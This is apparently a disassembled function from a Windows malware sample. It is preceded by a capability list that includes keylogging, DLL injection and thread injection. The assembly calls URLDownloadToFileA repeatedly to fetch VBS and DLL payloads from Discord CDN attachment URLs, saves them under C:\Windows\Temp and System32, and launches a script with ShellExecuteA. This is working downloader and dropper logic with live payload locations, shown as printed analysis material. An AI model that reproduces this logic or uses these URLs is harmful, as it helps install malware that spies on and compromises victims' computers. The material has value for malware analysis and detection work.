Function at 0x140059220
Capabilities:
Create process on windows
Create thread
Download url
Get system information on windows
Inject dll
Inject thread
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x20e0]
mov eax, 0x21e0
call fcn.14012be20
sub rsp, rax
lea rcx, [rbp + 0x70]
xor r12d, r12d
lea rbx, [0x140000000]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rbx + 0x16c9b0]
lea rax, [rbx + 0x16c9b0]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea r8, [rbp - 0x60]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0x70]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmm1, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempRafaRGB.dll]
movups xmmword [rcx + 0xa0], xmm1
mov qword [rcx + 0xb0], rax
xor ecx, ecx
mov eax, dword [0x14016c880]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x14016c878]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp - 0x60]
movaps xmm1, xmmword [0x14016ca80]
lea rdx, [rbp + 0x70]
movzx eax, byte [0x14016cac8]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016ca90]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016cab0]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016cac0]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xc8], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016cae0]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016caa0]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x14016cb00]
movaps xmmword [rbp + 0xb90], xmm0
movaps xmm0, xmmword [0x14016cb10]
movaps xmmword [rbp + 0xba0], xmm1
movaps xmm1, xmmword [0x14016cb20]
movaps xmmword [rbp + 0xbb0], xmm0
movaps xmmword [rbp + 0xbc0], xmm1
movaps xmm0, xmmword [0x14016cb30]
lea rdx, str.C:WindowsTemp_systen.dll
movzx eax, word [0x14016cb48]
lea rcx, [rbp + 0x1490]
movaps xmmword [rbp + 0xbd0], xmm0
movsd xmm0, qword [0x14016cb40]
movsd qword [rbp + 0xbe0], xmm0
mov word [rbp + 0xbe8], ax
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1490]
xor ecx, ecx
lea rdx, [rbp + 0xb90]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016cb48]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016cb00]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016cb10]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016cb30]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016cb40]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rbp + 0xc8], ax
movzx eax, word [0x14016c8b8]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016c8b0]
movzx eax, byte [0x14016c8ba]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016cb20]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016cb48]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016cb00]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016cb10]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016cb30]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016cb40]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xc8], ax
movzx eax, word [0x14016c930]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016c928]
movzx eax, byte [0x14016c932]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016cb20]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16cb50]
lea rcx, [rbx + 0x16cb50]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1240]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x50]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x15a0]
mov byte [rdx + 0x3e], al
lea rdx, str.C:WindowsTemp_block_internet.bat
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x15a0]
xor ecx, ecx
lea rdx, [rbp + 0x1240]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16cc40]
lea rax, [rbx + 0x16cc40]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1300]
movups xmmword [rcx], xmm0
lea rdx, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x16b0]
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x16b0]
xor ecx, ecx
lea rdx, [rbp + 0x1300]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16cd30]
lea rax, [rbx + 0x16cd30]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x13c0]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
lea rdx, str.C:WindowsSystem32_rafa.wav
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
lea rcx, [rbp + 0x17c0]
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x17c0]
xor ecx, ecx
lea rdx, [rbp + 0x13c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450642343886898_boxrgb.dll]
lea rdx, str.C:WindowsTemp_boxrgb.dll
movaps xmm1, xmmword [0x14016ce30]
lea rcx, [rbp + 0xd70]
movzx eax, word [0x14016ce78]
movaps xmmword [rbp + 0xbf0], xmm0
movaps xmm0, xmmword [0x14016ce40]
movaps xmmword [rbp + 0xc10], xmm0
movaps xmm0, xmmword [0x14016ce60]
movaps xmmword [rbp + 0xc30], xmm0
movsd xmm0, qword [0x14016ce70]
movaps xmmword [rbp + 0xc00], xmm1
movaps xmm1, xmmword [0x14016ce50]
movsd qword [rbp + 0xc40], xmm0
movaps xmmword [rbp + 0xc20], xmm1
mov word [rbp + 0xc48], ax
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xd70]
xor ecx, ecx
lea rdx, [rbp + 0xbf0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16ce80]
lea rcx, [rbx + 0x16ce80]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0xf40]
movups xmmword [r8], xmm0
lea rdx, str.C:WindowsTemp_boxrgb.dll
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov dword [r8 + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [r8 + 0x34], ax
movzx eax, byte [rcx + 0x36]
mov byte [r8 + 0x36], al
lea rcx, [rbp + 0xd70]
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1d10]
xor ecx, ecx
lea rdx, [rbp + 0xf40]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16cf40]
lea rcx, [rbx + 0x16cf40]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x10c0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0xd70]
mov byte [rdx + 0x38], al
lea rdx, str.C:WindowsTempChamsRed.dll
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1e20]
xor ecx, ecx
lea rdx, [rbp + 0x10c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16cf40]
lea rcx, [rbx + 0x16cf40]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea r8, [rbp + 0x1180]
movups xmmword [r8], xmm0
lea rdx, str.C:WindowsTempChamsRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x18d0]
mov byte [r8 + 0x38], al
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x18d0]
lea rdx, [rbp + 0x1180]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16d000]
lea rcx, [rbx + 0x16d000]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xe80]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x19e0]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsTempRas1.dll
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x19e0]
xor ecx, ecx
lea rdx, [rbp + 0xe80]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16d0e0]
lea rcx, [rbx + 0x16d0e0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1000]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x1af0]
mov byte [rdx + 0x36], al
lea rdx, str.C:WindowsTempRastss.dll
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor ecx, ecx
lea r8, [rbp + 0x1af0]
lea rdx, [rbp + 0x1000]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea rdx, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x14016d1b0]
lea rcx, [rbp + 0x1c00]
mov eax, dword [0x14016d1f8]
movaps xmmword [rbp + 0xc50], xmm0
movaps xmm0, xmmword [0x14016d1c0]
movaps xmmword [rbp + 0xc70], xmm0
movaps xmm0, xmmword [0x14016d1e0]
movaps xmmword [rbp + 0xc90], xmm0
movsd xmm0, qword [0x14016d1f0]
movaps xmmword [rbp + 0xc60], xmm1
movaps xmm1, xmmword [0x14016d1d0]
movsd qword [rbp + 0xca0], xmm0
movaps xmmword [rbp + 0xc80], xmm1
mov dword [rbp + 0xca8], eax
call fcn.140060790
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c00]
xor ecx, ecx
lea rdx, [rbp + 0xc50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16ce80]
lea rcx, [rbx + 0x16ce80]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x70]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x70]
movzx eax, word [0x14016c828]
mov word [rbp - 0x48], ax
movzx eax, byte [0x14016c82a]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x14016c820]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16ce80]
lea rcx, [rbx + 0x16ce80]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x70]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
lea rcx, [rcx + 0x80]
xor r9d, r9d
mov eax, dword [rcx + 0x30]
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x70]
movzx eax, word [0x14016c828]
mov word [rbp - 0x48], ax
movzx eax, byte [0x14016c82a]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x14016c820]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16cf40]
lea rcx, [rbx + 0x16cf40]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x70]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x70]
mov eax, dword [0x14016c950]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14016c954]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x44], al
movsd xmm0, qword [0x14016c948]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16d000]
lea rcx, [rbx + 0x16d000]
lea rdx, [rbp + 0x70]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x60]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempRas1.dll]
mov byte [rdx + 0x34], al
lea rdx, [rbp + 0x70]
movzx eax, byte [0x14016d0d0]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x48], al
movsd xmm0, qword [0x14016d0c8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16d200]
lea rax, [rbx + 0x16d200]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x20], r12
movups xmmword [rcx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rax + 0x20]
lea rdx, [rbp + 0x70]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
mov eax, dword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm1
movups xmmword [rcx + 0xa0], xmm0
mov dword [rcx + 0xb0], eax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempwin.dll]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x14016d2c8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x14016cb00]
movaps xmmword [rbp + 0x70], xmm0
movaps xmm0, xmmword [0x14016cb10]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016cb20]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016cb30]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016cb48]
lea rdx, [rbp + 0x70]
movaps xmmword [rbp + 0xb0], xmm0
xor r9d, r9d
movsd xmm0, qword [0x14016cb40]
xor ecx, ecx
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xc8], ax
